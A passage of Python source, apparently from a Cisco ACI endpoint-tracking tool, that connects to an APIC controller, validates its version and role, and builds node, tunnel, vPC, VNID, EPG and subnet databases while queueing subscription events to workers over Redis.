logger.debug(\"request not for this fabric\")\n return\n if msg.msg_type == MSG_TYPE.REFRESH_EPT:\n self.refresh_endpoint(msg.vnid, msg.addr, msg.type, msg.qnum)\n elif msg.msg_type == MSG_TYPE.DELETE_EPT:\n # enqueue work to available worker\n self.send_msg(eptMsgWorkDeleteEpt(msg.addr, \"worker\", {\"vnid\":msg.vnid},\n WORK_TYPE.DELETE_EPT, qnum=msg.qnum, fabric=self.fabric,\n ))\n elif msg.msg_type == MSG_TYPE.TEST_EMAIL:\n # enqueue notification test to watcher\n self.send_msg(eptMsgWork(msg.addr, \"watcher\", {},\n WORK_TYPE.TEST_EMAIL, qnum=msg.qnum, fabric=self.fabric,\n ))\n elif msg.msg_type == MSG_TYPE.TEST_SYSLOG:\n # enqueue notification test to watcher\n self.send_msg(eptMsgWork(msg.addr, \"watcher\", {},\n WORK_TYPE.TEST_SYSLOG, qnum=msg.qnum, fabric=self.fabric,\n ))\n else:\n logger.debug(\"ignoring unexpected msg type: %s\", msg.msg_type)\n\n def _run(self):\n \"\"\" monitor fabric and enqueue work to workers \"\"\"\n\n init_str = \"initializing\"\n # first step is to get a valid apic session, bail out if unable to connect\n self.session = get_apic_session(self.fabric)\n if self.session is None:\n logger.warn(\"failed to connect to fabric: %s\", self.fabric.fabric)\n self.fabric.add_fabric_event(\"failed\", \"failed to connect to apic\")\n return\n # validate from session that domain 'all' is present and we are running with role 'admin'\n (valid, err_msg) = validate_session_role(self.session)\n if not valid:\n self.fabric.auto_start = False\n self.fabric.add_fabric_event(\"failed\", err_msg)\n self.session.close()\n return\n\n # get the apic id we connected to \n apic_info = get_attributes(self.session, \"info\")\n connected_str = \"connected to apic %s\" % self.session.hostname\n if apic_info is None or \"id\" not in apic_info:\n logger.warn(\"unable to get topInfo for apic\")\n else:\n connected_str = \"connected to apic-%s, %s\" % (apic_info[\"id\"], self.session.hostname)\n self.fabric.add_fabric_event(init_str, connected_str)\n\n # get controller version, highlight mismatch and verify minimum version\n apic_version = get_controller_version(self.session)\n if len(apic_version) == 0:\n logger.warn(\"failed to determine apic version\")\n self.fabric.add_fabric_event(\"failed\", \"failed to determine apic version\")\n return\n apic_version_set = set([n[\"version\"] for n in apic_version])\n if len(apic_version_set)>1:\n logger.warn(\"version mismatch for %s: %s\", self.fabric.fabric, apic_version_set)\n self.fabric.add_fabric_event(\"warning\", \"version mismatch: %s\" % \", \".join([\n \"apic-%s: %s\" % (n[\"node\"], n[\"version\"]) for n in apic_version\n ]))\n # use whatever the first detected version is for validation, we don't expect version \n # mismatch for controllers so warning is sufficient\n min_version = parse_apic_version(MINIMUM_SUPPORTED_VERSION)\n version = parse_apic_version(apic_version[0][\"version\"])\n self.fabric.add_fabric_event(init_str, \"apic version: %s\" % apic_version[0][\"version\"])\n if version is None or min_version is None:\n logger.warn(\"failed to parse apic version: %s (min version: %s)\", version, min_version)\n self.fabric.add_fabric_event(\"failed\",\"unknown or unsupported apic version: %s\" % (\n apic_version[0][\"version\"]))\n self.fabric.auto_start = False\n self.fabric.save()\n return\n # will check major/min/build and ignore patch for version check for now\n min_matched = True\n if version[\"major\"] < min_version[\"major\"]:\n min_matched = False\n elif version[\"major\"] == min_version[\"major\"]:\n if version[\"minor\"] < min_version[\"minor\"]:\n min_matched = False\n elif version[\"minor\"] == min_version[\"minor\"]:\n min_matched = (version[\"build\"] >= min_version[\"build\"])\n if not min_matched:\n logger.warn(\"fabric does not meet minimum code version (%s < %s)\", version, min_version)\n self.fabric.add_fabric_event(\"failed\",\"unknown or unsupported apic version: %s\" % (\n apic_version[0][\"version\"]))\n self.fabric.auto_start = False\n self.fabric.save()\n return\n\n # get overlay vnid and fabricProtP (which requires hard reset on change)\n vpc_attr = get_attributes(session=self.session, dn=\"uni/fabric/protpol\")\n overlay_attr = get_attributes(session=self.session, dn=\"uni/tn-infra/ctx-overlay-1\")\n if overlay_attr and \"scope\" in overlay_attr:\n self.settings.overlay_vnid = int(overlay_attr[\"scope\"])\n if vpc_attr and \"pairT\" in vpc_attr:\n self.settings.vpc_pair_type = vpc_attr[\"pairT\"]\n self.settings.save()\n else:\n logger.warn(\"failed to determine fabricProtPol pairT: %s (using default)\",vpc_attr)\n else:\n logger.warn(\"failed to determine overlay vnid: %s\", overlay_attr)\n self.fabric.add_fabric_event(\"failed\", \"unable to determine overlay-1 vnid\")\n return\n \n # setup slow subscriptions to catch events occurring during build \n if self.settings.queue_init_events:\n self.subscriber.pause(self.subscription_classes + self.ordered_mo_classes)\n if not self.subscriber.subscribe(blocking=False):\n self.fabric.add_fabric_event(\"failed\", \"failed to start one or more subscriptions\")\n return\n\n # build mo db first as other objects rely on it\n self.fabric.add_fabric_event(init_str, \"collecting base managed objects\")\n if not self.build_mo():\n self.fabric.add_fabric_event(\"failed\", \"failed to collect MOs\")\n return\n\n # build node db and vpc db\n self.fabric.add_fabric_event(init_str, \"building node db\")\n if not self.build_node_db():\n self.fabric.add_fabric_event(\"failed\", \"failed to build node db\")\n return\n if not self.build_vpc_db():\n self.fabric.add_fabric_event(\"failed\", \"failed to build node pc to vpc db\")\n return\n\n # build tunnel db\n self.fabric.add_fabric_event(init_str, \"building tunnel db\")\n if not self.build_tunnel_db():\n self.fabric.add_fabric_event(\"failed\", \"failed to build tunnel db\")\n return\n\n # build vnid db along with vnsLIfCtxToBD db which relies on vnid db\n self.fabric.add_fabric_event(init_str, \"building vnid db\")\n if not self.build_vnid_db():\n self.fabric.add_fabric_event(\"failed\", \"failed to build vnid db\")\n return\n\n # build epg db\n self.fabric.add_fabric_event(init_str, \"building epg db\")\n if not self.build_epg_db():\n self.fabric.add_fabric_event(\"failed\", \"failed to build epg db\")\n return\n\n # build subnet db\n self.fabric.add_fabric_event(init_str, \"building subnet db\")\n if not self.build_subnet_db():\n self.fabric.add_fabric_event(\"failed\", \"failed to build subnet db\")\n return\n\n # slow objects (including std mo objects) initialization completed\n self.initializing = False\n # safe to call resume even if never paused\n self.subscriber.resume(self.subscription_classes + self.ordered_mo_classes)\n\n # build current epm state, start subscriptions for epm objects after query completes\n self.ept_epm_parser = eptEpmEventParser(self.fabric.fabric, self.settings.overlay_vnid)\n\n # build endpoint database\n self.fabric.add_fabric_event(init_str, \"building endpoint db\")\n if not self.build_endpoint_db():\n self.fabric.add_fabric_event(\"failed\", \"failed to build endpoint db\")\n return\n\n # epm objects intialization completed\n self.epm_initializing = False\n # safe to call resume even if never paused\n self.subscriber.resume(self.epm_subscription_classes)\n\n # subscriber running\n self.fabric.add_fabric_event(\"running\")\n\n # subscribe to subscriber events only after successfully started and initialized\n channels = {\n SUBSCRIBER_CTRL_CHANNEL: self.handle_channel_msg,\n }\n p = self.redis.pubsub(ignore_subscribe_messages=True)\n p.subscribe(**channels)\n self.subscribe_thread = p.run_in_thread(sleep_time=0.01, daemon=True)\n logger.debug(\"[%s] listening for events on channels: %s\", self, channels.keys())\n\n # ensure that all subscriptions are active\n while True:\n if not self.subscriber.is_alive():\n logger.warn(\"subscription no longer alive for %s\", self.fabric.fabric)\n return\n time.sleep(self.subscription_check_interval)\n\n def hard_restart(self, reason=\"\"):\n \"\"\" send msg to manager for fabric restart \"\"\"\n logger.warn(\"restarting fabric monitor '%s': %s\", self.fabric.fabric, reason)\n self.fabric.add_fabric_event(\"restarting\", reason)\n # try to kill local subscriptions first\n try:\n self.stopped = True\n self.subscriber.unsubscribe()\n except Exception as e:\n logger.debug(\"failed to quit subscription\")\n logger.error(\"Traceback:\\n%s\", traceback.format_exc())\n\n reason = \"restarting: %s\" % reason\n data = {\"fabric\":self.fabric.fabric, \"reason\":reason}\n msg = eptMsg(MSG_TYPE.FABRIC_RESTART,data=data)\n with self.manager_ctrl_channel_lock:\n self.redis.publish(MANAGER_CTRL_CHANNEL, msg.jsonify())\n\n def soft_restart(self, ts=None, reason=\"\"):\n \"\"\" soft restart sets initializing to True to block new updates along with restarting \n slow_subscriptions. A subset of tables are rebuilt which is much faster than a hard\n restart which requires updates to names (epg and vnid db), subnet db, and most \n importantly endpoint db.\n The following tables are rebuilt in soft restart:\n - eptNode\n - eptTunnel\n - eptVpc\n - eptPc\n \"\"\"\n logger.debug(\"soft restart requested: %s\", reason)\n if ts is not None and self.soft_restart_ts > ts:\n logger.debug(\"skipping stale soft_restart request (%.3f > %.3f)\",self.soft_restart_ts,ts)\n return \n\n init_str = \"re-initializing\"\n # remove slow interests from subscriber\n self.initializing = True\n self.subscriber.remove_interest(self.subscription_classes + self.ordered_mo_classes)\n for c in self.subscription_classes:\n self.subscriber.add_interest(c, self.handle_event, paused=True)\n for c in self.mo_classes:\n self.subscriber.add_interest(c, self.handle_std_mo_event, paused=True)\n\n # build node db and vpc db\n self.fabric.add_fabric_event(\"soft-reset\", reason)\n self.fabric.add_fabric_event(init_str, \"building node db\")\n if not self.build_node_db():\n self.fabric.add_fabric_event(\"failed\", \"failed to build node db\")\n return self.hard_restart(\"failed to build node db\")\n # need to rebuild vpc db which requires a rebuild of local mo vpcRsVpcConf mo first\n success1 = self.mo_classes[\"vpcRsVpcConf\"].rebuild(self.fabric, session=self.session)\n success2 = self.mo_classes[\"pcAggrIf\"].rebuild(self.fabric, session=self.session)\n if not success1 or not success2 or not self.build_vpc_db():\n self.fabric.add_fabric_event(\"failed\", \"failed to build node pc to vpc db\")\n return self.hard_restart(\"failed to build node pc to vpc db\")\n\n # build tunnel db\n self.fabric.add_fabric_event(init_str, \"building tunnel db\")\n if not self.build_tunnel_db():\n self.fabric.add_fabric_event(\"failed\", \"failed to build tunnel db\")\n return self.hard_restart(\"failed to build tunnel db\")\n\n # clear appropriate caches\n self.send_flush(eptNode)\n self.send_flush(eptVpc)\n self.send_flush(eptTunnel)\n\n self.fabric.add_fabric_event(\"running\")\n self.initializing = False\n self.subscriber.resume(self.subscription_classes + self.ordered_mo_classes)\n\n def send_msg(self, msg):\n \"\"\" send one or more eptMsgWork objects to worker via manager work queue \n limit the number of messages sent at a time to MAX_SEND_MSG_LENGTH\n \"\"\"\n if isinstance(msg, list):\n for sub_msg in msg:\n # validate that 'fabric' is ALWAYS set on any work\n sub_msg.fabric = self.fabric.fabric\n # break up msg into multiple blocks \n for i in range(0, len(msg), MAX_SEND_MSG_LENGTH):\n work = [m.jsonify() for m in msg[i:i+MAX_SEND_MSG_LENGTH]]\n if len(work)>0:\n with self.manager_work_queue_lock:\n self.redis.rpush(MANAGER_WORK_QUEUE, *work)\n else:\n # validate that 'fabric' is ALWAYS set on any work\n msg.fabric = self.fabric.fabric\n with self.manager_work_queue_lock:\n self.redis.rpush(MANAGER_WORK_QUEUE, msg.jsonify())\n\n def send_flush(self, collection, name=None):\n \"\"\" send flush message to workers for provided collection \"\"\"\n logger.info(\"flush %s (name:%s)\", collection._classname, name)\n # node addr of 0 is broadcast to all nodes of provided role\n data = {\"cache\": collection._classname, \"name\": name}\n msg = eptMsgWork(0, \"worker\", data, WORK_TYPE.FLUSH_CACHE)\n msg.qnum = 0 # highest priority queue\n self.send_msg(msg)\n\n def parse_event(self, event, verify_ts=True):\n \"\"\" iterarte list of (classname, attr) objects from subscription event including _ts \n attribute representing timestamp when event was received if verify_ts is set\n \"\"\"\n try:\n if type(event) is dict: event = event[\"imdata\"]\n for e in event:\n classname = e.keys()[0]\n if \"attributes\" in e[classname]:\n attr = e[classname][\"attributes\"]\n if verify_ts:\n if \"_ts\" in event: \n attr[\"_ts\"] = event[\"_ts\"]\n else:\n attr[\"_ts\"] = time.time()\n yield (classname, attr)\n else:\n logger.warn(\"invalid event: %s\", e)\n except Exception as e:\n logger.error(\"Traceback:\\n%s\", traceback.format_exc())\n\n def handle_event(self, event):\n \"\"\" generic handler to call appropriate handler based on event classname\n this can also enqueue events into buffer until intialization has completed\n \"\"\"\n if self.stopped:\n logger.debug(\"ignoring event (subscriber stopped and waiting for reset)\")\n return\n if self.initializing:\n # ignore events during initializing state. If queue_init_events is enabled then \n # subscription_ctrl is 'paused' and queueing the events for us so this should only be\n # triggered if queue_init_events is disabled in which case we are intentionally \n # igorning the event\n logger.debug(\"ignoring event (in initializing state): %s\", event)\n return\n logger.debug(\"event: %s\", event)\n try:\n for (classname, attr) in self.parse_event(event):\n if classname not in self.handlers:\n logger.warn(\"no event handler defined for classname: %s\", classname)\n else:\n return self.handlers[classname](classname, attr)\n except Exception as e:\n logger.error(\"Traceback:\\n%s\", traceback.format_exc())\n\n def handle_std_mo_event(self, event):\n \"\"\" handle standard MO subscription event. This will trigger sync_event from corresponding\n MO DependencyNode which ensures that mo objects are updated in local db and dependent\n ept objects (eptVnid, eptEpg, eptSubnet, eptVpc) are also updated. A list of updated\n ept objects is return and a flush is triggered for each to ensure workers refresh their\n cache for the objects.\n \"\"\"\n updates = []\n if self.stopped:\n logger.debug(\"ignoring event (subscriber stopped and waiting for reset)\")\n return\n if self.initializing:\n # ignore events during initializing state. If queue_init_events is enabled then \n # subscription_ctrl is 'paused' and queueing the events for us so this should only be\n # triggered if queue_init_events is disabled in which case we are intentionally \n # igorning the event\n logger.debug(\"ignoring event (in initializing state): %s\", event)\n return\n try:\n #logger.debug(\"event: %s\", event)\n for (classname, attr) in self.parse_event(event):\n if classname not in self.mo_classes or \"dn\" not in attr or \"status\" not in attr:\n logger.warn(\"event received for unknown classname: %s, %s\", classname, event)\n continue\n\n if classname in dependency_map:\n logger.debug(\"triggering sync_event for dependency %s\", classname)\n updates+= dependency_map[classname].sync_event(self.fabric.fabric, attr, \n self.session)\n logger.debug(\"updated objects: %s\", len(updates))\n else:\n logger.warn(\"%s not defined in dependency_map\", classname)\n\n except Exception as e:\n logger.error(\"Traceback:\\n%s\", traceback.format_exc())\n # send flush for each update\n for u in updates:\n self.send_flush(u, u.name if hasattr(u, \"name\") else None)\n\n def handle_epm_event(self, event, qnum=1):\n \"\"\" handle epm events received on epm_subscription\n this can also enqueue events into buffer until intialization has completed\n \"\"\"\n if self.stopped:\n logger.debug(\"ignoring event (subscriber stopped and waiting for reset)\")\n return\n if self.epm_initializing:\n # ignore events during initializing state. If queue_init_events is enabled then \n # subscription_ctrl is 'paused' and queueing the events for us so this should only be\n # triggered if queue_init_events is disabled in which case we are intentionally \n # igorning the event\n logger.debug(\"ignoring event (in epm_initializing state): %s\", event)\n return\n try:\n for (classname, attr) in self.parse_event(event):\n #msg = self.ept_epm_parser.parse(classname, attr, attr[\"_ts\"])\n # dn for each possible epm event:\n # .../db-ep/mac-00:AA:00:00:28:1A\n # .../db-ep/ip-[10.1.55.220]\n # rsmacEpToIpEpAtt-.../db-ep/ip-[10.1.1.74]]\n addr = re.sub(\"[\\[\\]]\",\"\", attr[\"dn\"].split(\"-\")[-1])\n self.send_msg(eptMsgWorkRaw(addr,\"worker\",{classname:attr},WORK_TYPE.RAW,qnum=qnum))\n except Exception as e:\n logger.error(\"Traceback:\\n%s\", traceback.format_exc())\n\n def build_mo(self):\n \"\"\" build managed objects for defined classes \"\"\"\n for mo in self.ordered_mo_classes:\n if not self.mo_classes[mo].rebuild(self.fabric, session=self.session):\n return False\n return True\n\n def initialize_ept_collection(self, eptObject, mo_classname, attribute_map=None, \n regex_map=None ,set_ts=False, flush=False):\n \"\"\" initialize ept collection. Note, mo_object or mo_classname must be provided\n eptObject = eptNode, eptVnid, eptEpg, etc...\n mo_classname = classname of mo used for query, or if exists within self.mo_classes,\n the mo object from local database\n set_ts = boolean to set modify ts within ept object. If mo_object is set, then ts\n from mo object is written to ept object. Else, timestamp of APIC query\n is used\n flush = boolean to flush ept collection at initialization\n attribute_map = dict handling mapping of ept attribute to mo attribute. If omitted,\n then the attribute map will use the value from the corresponding \n DependencyNode (if found within the dependency_map)\n regex_map = dict - ept attribute names in regex map will contain a regex used to \n extract the value from the corresponding mo attribute. if omitted, then \n will use the regex_map definied within the corresponding DependencyNode\n (if found within the dependency_map)\n\n This regex must contain a named capture group of 'value'. For example:\n attribute_map = {\n \"node\": \"dn\" # set's the ept value of 'node' to the mo 'dn'\n }\n regex_map = {\n \"node\": \"node-(?P[0-9]+)/\" # extract interger value from 'node'\n }\n\n return bool success\n\n \"\"\"\n # iterator over data from class query returning just dict attributes\n def raw_iterator(data):\n for attr in get_attributes(data=data):\n yield attr\n\n # iterator over mo objects returning just dict attributes\n def mo_iterator(objects):\n for o in objects:\n yield o.to_json()\n\n # get data from local mo db\n if mo_classname in self.mo_classes:\n data = self.mo_classes[mo_classname].find(fabric=self.fabric.fabric)\n iterator = mo_iterator\n else:\n data = get_class(self.session, mo_classname)\n if data is None:\n logger.warn(\"failed to get data for classname %s\", mo_classname)\n return False\n iterator = raw_iterator\n\n # get attribute_map and regex_map from arguments or dependency map\n default_attribute_map = {}\n default_regex_map = {}\n if mo_classname in dependency_map:\n default_attribute_map = dependency_map[mo_classname].ept_attributes\n default_regex_map = dependency_map[mo_classname].ept_regex_map\n if attribute_map is None: \n attribute_map = default_attribute_map\n if regex_map is None:\n regex_map = default_regex_map\n\n # if attribute map is empty then it wasn't provided or no corresponding entry within the \n # dependency map\n if len(attribute_map) == 0:\n logger.error(\"no attribute map found/provided for %s\", mo_classname)\n\n ts = time.time()\n bulk_objects = []\n # iterate over results \n for attr in iterator(data):\n db_obj = {}\n for db_attr, o_attr in attribute_map.items():\n # can only map 'plain' string attributes (not list referencing parent objects)\n if isinstance(o_attr, basestring) and o_attr in attr:\n # check for regex_map\n if db_attr in regex_map:\n r1 = re.search(regex_map[db_attr], attr[o_attr])\n if r1:\n if \"value\" in r1.groupdict():\n db_obj[db_attr] = r1.group(\"value\")\n else: \n db_obj[attr] = attr[o_attr]\n else:\n logger.warn(\"%s value %s does not match regex %s\", o_attr,attr[o_attr], \n regex_map[db_attr])\n db_obj = {}\n break\n else:\n db_obj[db_attr] = attr[o_attr]\n if len(db_obj)>0:\n db_obj[\"fabric\"] = self.fabric.fabric\n if set_ts: \n if \"ts\" in attr: db_obj[\"ts\"] = attr[\"ts\"]\n else: db_obj[\"ts\"] = ts\n bulk_objects.append(eptObject(**db_obj))\n else:\n logger.warn(\"%s object not added from MO (no matching attributes): %s\", \n eptObject._classname, attr)\n\n # flush right before insert to minimize time of empty table\n if flush:\n logger.debug(\"flushing %s entries for fabric %s\",eptObject._classname,self.fabric.fabric)\n eptObject.delete(_filters={\"fabric\":self.fabric.fabric})\n if len(bulk_objects)>0:\n eptObject.bulk_save(bulk_objects, skip_validation=False)\n else:\n logger.debug(\"no objects of %s to insert\", mo_classname)\n return True\n \n def build_node_db(self):\n \"\"\" initialize node collection and vpc nodes. return bool success \"\"\"\n logger.debug(\"initializing node db\")\n if not self.initialize_ept_collection(eptNode, \"topSystem\", attribute_map = {\n \"addr\": \"address\",\n \"name\": \"name\",\n \"node\": \"id\",\n \"oob_addr\": \"oobMgmtAddr\",\n \"pod_id\": \"podId\",\n \"role\": \"role\",\n \"state\": \"state\",\n }, flush=True):\n logger.warn(\"failed to build node db from topSystem\")\n return False\n\n # maintain list of all nodes for id to addr lookup \n all_nodes = {}\n for n in eptNode.find(fabric=self.fabric.fabric):\n all_nodes[n.node] = n\n\n # create pseudo node for each vpc group from fabricAutoGEp and fabricExplicitGEp each of \n # which contains fabricNodePEp\n vpc_type = \"fabricExplicitGEp\"\n node_ep = \"fabricNodePEp\"\n data = get_class(self.session, vpc_type, rspSubtree=\"full\", rspSubtreeClass=node_ep)\n if data is None or len(data) == 0:\n logger.debug(\"no vpcs found for fabricExplicitGEp, checking fabricAutoGEp\")\n vpc_type = \"fabricAutoGEp\"\n data = get_class(self.session, vpc_type, rspSubtree=\"full\", rspSubtreeClass=node_ep)\n if data is None or len(data) == 0:\n logger.debug(\"no vpc configuration found\")\n return True\n\n # build all known vpc groups and set peer values with existing eptNodes that are members\n # of a vpc domain\n bulk_objects = []\n for obj in data:\n if vpc_type in obj and \"attributes\" in obj[vpc_type]:\n attr = obj[vpc_type][\"attributes\"]\n if \"virtualIp\" in attr and \"name\" in attr and \"dn\" in attr:\n name = attr[\"name\"]\n addr = re.sub(\"/[0-9]+$\", \"\", attr[\"virtualIp\"])\n # get children node_ep (expect exactly 2)\n child_nodes = []\n if \"children\" in obj[vpc_type]:\n for cobj in obj[vpc_type][\"children\"]:\n if node_ep in cobj and \"attributes\" in cobj[node_ep]:\n cattr = cobj[node_ep][\"attributes\"]\n if \"id\" in cattr and \"peerIp\" in cattr:\n peer_ip = re.sub(\"/[0-9]+$\", \"\", cattr[\"peerIp\"])\n node_id = int(cattr[\"id\"])\n if node_id in all_nodes:\n child_nodes.append(all_nodes[node_id])\n else:\n logger.warn(\"unknown node id %s in %s\", node_id, vpc_type)\n else:\n logger.warn(\"invalid %s object: %s\", node_ep, cobj)\n if len(child_nodes) == 2:\n vpc_domain_id = get_vpc_domain_id(\n child_nodes[0].node,\n child_nodes[1].node,\n )\n child_nodes[0].peer = child_nodes[1].node\n child_nodes[1].peer = child_nodes[0].node\n bulk_objects.append(child_nodes[0])\n bulk_objects.append(child_nodes[1])\n bulk_objects.append(eptNode(fabric=self.fabric.fabric,\n addr=addr,\n name=name,\n node=vpc_domain_id,\n pod_id=child_nodes[0].pod_id,\n role=\"vpc\",\n state=\"in-service\",\n nodes=[\n {\n \"node\": child_nodes[0].node,\n \"addr\": child_nodes[0].addr,\n },\n {\n \"node\": child_nodes[1].node,\n \"addr\": child_nodes[1].addr,\n },\n ],\n ))\n else:\n logger.warn(\"expected 2 %s child objects: %s\", node_ep,obj)\n else:\n logger.warn(\"invalid %s object: %s\", vpc_type, obj)\n \n if len(bulk_objects)>0:\n eptNode.bulk_save(bulk_objects, skip_validation=False)\n return True\n\n def build_tunnel_db(self):\n \"\"\" initialize tunnel db. return bool success \"\"\"\n logger.debug(\"initializing tunnel db\")\n if not self.initialize_ept_collection(eptTunnel, \"tunnelIf\", attribute_map={\n \"name\": \"dn\",\n \"node\": \"dn\",\n \"intf\": \"id\",\n \"dst\": \"dest\",\n \"src\": \"src\",\n \"status\": \"operSt\",\n \"encap\": \"tType\",\n \"flags\": \"type\",\n }, regex_map = {\n \"node\": \"topology/pod-[0-9]+/node-(?P[0-9]+)/\",\n \"src\": \"(?P[^/]+)(/[0-9]+)?\",\n }, flush=True, set_ts=True):\n return False\n\n # walk through each tunnel and map remote to correct node id with pseudo vpc node awareness\n # maintain list of all_nodes indexed by addr for quick tunnel dst lookup\n all_nodes = {}\n for n in eptNode.find(fabric=self.fabric.fabric):\n all_nodes[n.addr] = n\n bulk_objects = []\n for t in eptTunnel.find(fabric=self.fabric.fabric):\n if t.dst in all_nodes:\n t.remote = all_nodes[t.dst].node\n bulk_objects.append(t)\n else:\n # tunnel type of vxlan (instead of ivxlan), or flags of dci(multisite) or \n # proxy(spines) can be safely ignored, else print a warning\n if t.encap == \"vxlan\" or \"proxy\" in t.flags or \"dci\" in t.flags:\n #logger.debug(\"failed to map tunnel to remote node: %s\", t)\n pass\n else:\n logger.warn(\"failed to map tunnel to remote node: %s\", t)\n if len(bulk_objects)>0:\n eptTunnel.bulk_save(bulk_objects, skip_validation=False)\n return True\n\n def build_vpc_db(self):\n \"\"\" build port-channel to vpc interface mapping along with port-chhanel to name mapping.\n return bool success \n \"\"\"\n logger.debug(\"initializing pc/vpc db\")\n # vpcRsVpcConf exists within self.mo_classses and already defined in dependency_map\n return (\n self.initialize_ept_collection(eptVpc,\"vpcRsVpcConf\",set_ts=True, flush=True) and \\\n self.initialize_ept_collection(eptPc,\"pcAggrIf\",set_ts=True, flush=True)\n )\n\n def build_vnid_db(self):\n \"\"\" initialize vnid database. return bool success\n vnid objects include the following:\n fvCtx (vrf)\n fvBD (BD)\n fvSvcBD (copy-service BD)\n l3extExtEncapAllocator (external BD)\n \"\"\"\n logger.debug(\"initializing vnid db\")\n \n # handle fvCtx, fvBD, and fvSvcBD\n logger.debug(\"bulding vnid from fvCtx\")\n if not self.initialize_ept_collection(eptVnid, \"fvCtx\", set_ts=True, flush=True):\n logger.warn(\"failed to initialize vnid db for fvCtx\")\n return False\n logger.debug(\"bulding vnid from fvBD\")\n if not self.initialize_ept_collection(eptVnid, \"fvBD\", set_ts=True, flush=False):\n logger.warn(\"failed to initialize vnid db for fvBD\")\n return False\n logger.debug(\"bulding vnid from fvSvcBD\")\n if not self.initialize_ept_collection(eptVnid, \"fvSvcBD\", set_ts=True, flush=False):\n logger.warn(\"failed to initialize vnid db for fvSvcBD\")\n return False\n\n # dict of name (vrf/bd) to vnid for quick lookup\n logger.debug(\"bulding vnid from l3extExtEncapAllocator\")\n ts = time.time()\n bulk_objects = []\n vnids = {} \n l3ctx = {} # mapping of l3out name to vrf vnid\n for v in eptVnid.find(fabric=self.fabric.fabric): \n vnids[v.name] = v.vnid\n for c in self.mo_classes[\"l3extRsEctx\"].find(fabric=self.fabric.fabric):\n if c.tDn in vnids:\n l3ctx[c.parent] = vnids[c.tDn]\n else:\n logger.warn(\"failed to map l3extRsEctx tDn(%s) to vrf vnid\", c.tDn)\n for obj in self.mo_classes[\"l3extExtEncapAllocator\"].find(fabric=self.fabric.fabric):\n new_vnid = eptVnid(\n fabric = self.fabric.fabric,\n vnid = int(re.sub(\"vxlan-\",\"\", obj.extEncap)),\n name = obj.dn,\n encap = obj.encap,\n external = True,\n ts = ts\n )\n if obj.parent in l3ctx:\n new_vnid.vrf = l3ctx[obj.parent]\n else:\n logger.warn(\"failed to map l3extOut(%s) to vrf vnid\", obj.parent)\n bulk_objects.append(new_vnid)\n\n if len(bulk_objects)>0:\n eptVnid.bulk_save(bulk_objects, skip_validation=False)\n return True\n\n def build_epg_db(self):\n \"\"\" initialize epg database. return bool success\n epg objects include the following (all instances of fvEPg)\n fvAEPg - normal epg (fvRsBd - map to fvBD)\n mgmtInB - inband mgmt epg (mgmtRsMgmtBD - map to fvBD)\n vnsEPpInfo - epg from l4 graph (vnsRsEPpInfoToBD - map to fvBD)\n l3extInstP - external epg (no BD)\n \"\"\"\n logger.debug(\"initializing epg db\")\n flush = True\n for c in [\"fvAEPg\", \"mgmtInB\", \"vnsEPpInfo\", \"l3extInstP\"]:\n if not self.initialize_ept_collection(eptEpg, c, set_ts=True, flush=flush):\n logger.warn(\"failed to initialize epg db from %s\", c)\n return False\n # only flush on first table\n flush = False\n\n logger.debug(\"mapping epg to bd vnid\")\n # need to build mapping of epg to bd. to do so need to get the dn of the BD for each epg\n # and then lookup into vnids table for bd name to get bd vnid to merge into epg table\n bulk_object_keys = {} # dict to prevent duplicate addition of object to bulk_objects\n bulk_objects = []\n vnids = {} # indexed by bd/vrf name (dn), contains only vnid\n epgs = {} # indexed by epg name (dn), contains full object\n for v in eptVnid.find(fabric=self.fabric.fabric): \n vnids[v.name] = v.vnid\n for e in eptEpg.find(fabric=self.fabric.fabric):\n epgs[e.name] = e\n for classname in [\"fvRsBd\", \"vnsRsEPpInfoToBD\", \"mgmtRsMgmtBD\"]:\n logger.debug(\"map epg bd vnid from %s\", classname)\n for mo in self.mo_classes[classname].find(fabric=self.fabric.fabric):\n epg_name = re.sub(\"/(rsbd|rsEPpInfoToBD|rsmgmtBD)$\", \"\", mo.dn)\n bd_name = mo.tDn \n if epg_name not in epgs:\n logger.warn(\"cannot map bd to unknown epg '%s' from '%s'\", epg_name, classname)\n continue\n if bd_name not in vnids:\n logger.warn(\"cannot map epg %s to unknown bd '%s'\", epg_name, bd_name)\n continue\n epgs[epg_name].bd = vnids[bd_name]\n if epg_name not in bulk_object_keys:\n bulk_object_keys[epg_name] = 1\n bulk_objects.append(epgs[epg_name])\n else:\n logger.warn(\"skipping duplicate dn: %s\", epg_name)\n\n if len(bulk_objects)>0:\n # only adding vnid here which was validated from eptVnid so no validation required\n eptEpg.bulk_save(bulk_objects, skip_validation=True)\n return True\n\n def build_subnet_db(self):\n \"\"\" build subnet db \n Only two objects that we care about but they can come from a few different places:\n - fvSubnet\n - fvBD, fvAEPg\n vnsEPpInfo and vnsLIfCtx where the latter requires vnsRsLIfCtxToBD lookup\n - fvIpAttr\n - fvAEPg\n \"\"\"\n logger.debug(\"initializing subnet db\")\n\n # use subnet dn as lookup into vnid and epg table to determine corresponding bd vnid\n # yes, we're doing duplicate db lookup as build_epg_db but db lookup on init is minimum\n # performance hit even with max scale\n vnids = {}\n epgs = {}\n for v in eptVnid.find(fabric=self.fabric.fabric): \n vnids[v.name] = v.vnid\n for e in eptEpg.find(fabric=self.fabric.fabric):\n # we only care about the bd vnid, only add to epgs list if a non-zero value is present\n if e.bd != 0: epgs[e.name] = e.bd\n # although not technically an epg, eptVnsLIfCtxToBD contains a mapping to bd that we need\n for mo in self.mo_classes[\"vnsRsLIfCtxToBD\"].find(fabric=self.fabric.fabric):\n if mo.tDn in vnids:\n epgs[mo.parent] = vnids[mo.tDn]\n else:\n logger.warn(\"%s tDn %s not in vnids\", mo._classname, mo.tDn)\n\n bulk_objects = []\n # should now have all objects that would contain a subnet \n for classname in [\"fvSubnet\", \"fvIpAttr\"]:\n for mo in self.mo_classes[classname].find(fabric=self.fabric.fabric):\n # usually in bd so check vnid first and then epg\n bd_vnid = None\n if mo.parent in vnids:\n bd_vnid = vnids[mo.parent]\n elif mo.parent in epgs:\n bd_vnid = epgs[mo.parent]\n if bd_vnid is not None:\n # FYI - we support fvSubnet on BD and EPG for shared services so duplicate ip\n # can exist. unique index is disabled on eptSubnet to support this... \n bulk_objects.append(eptSubnet(\n fabric = self.fabric.fabric,\n bd = bd_vnid,\n name = mo.dn,\n ip = mo.ip,\n ts = mo.ts\n ))\n else:\n logger.warn(\"failed to map subnet '%s' (%s) to a bd\", mo.ip, mo.parent)\n\n logger.debug(\"flushing entries in %s for fabric %s\",eptSubnet._classname,self.fabric.fabric)\n eptSubnet.delete(_filters={\"fabric\":self.fabric.fabric})\n if len(bulk_objects)>0:\n eptSubnet.bulk_save(bulk_objects, 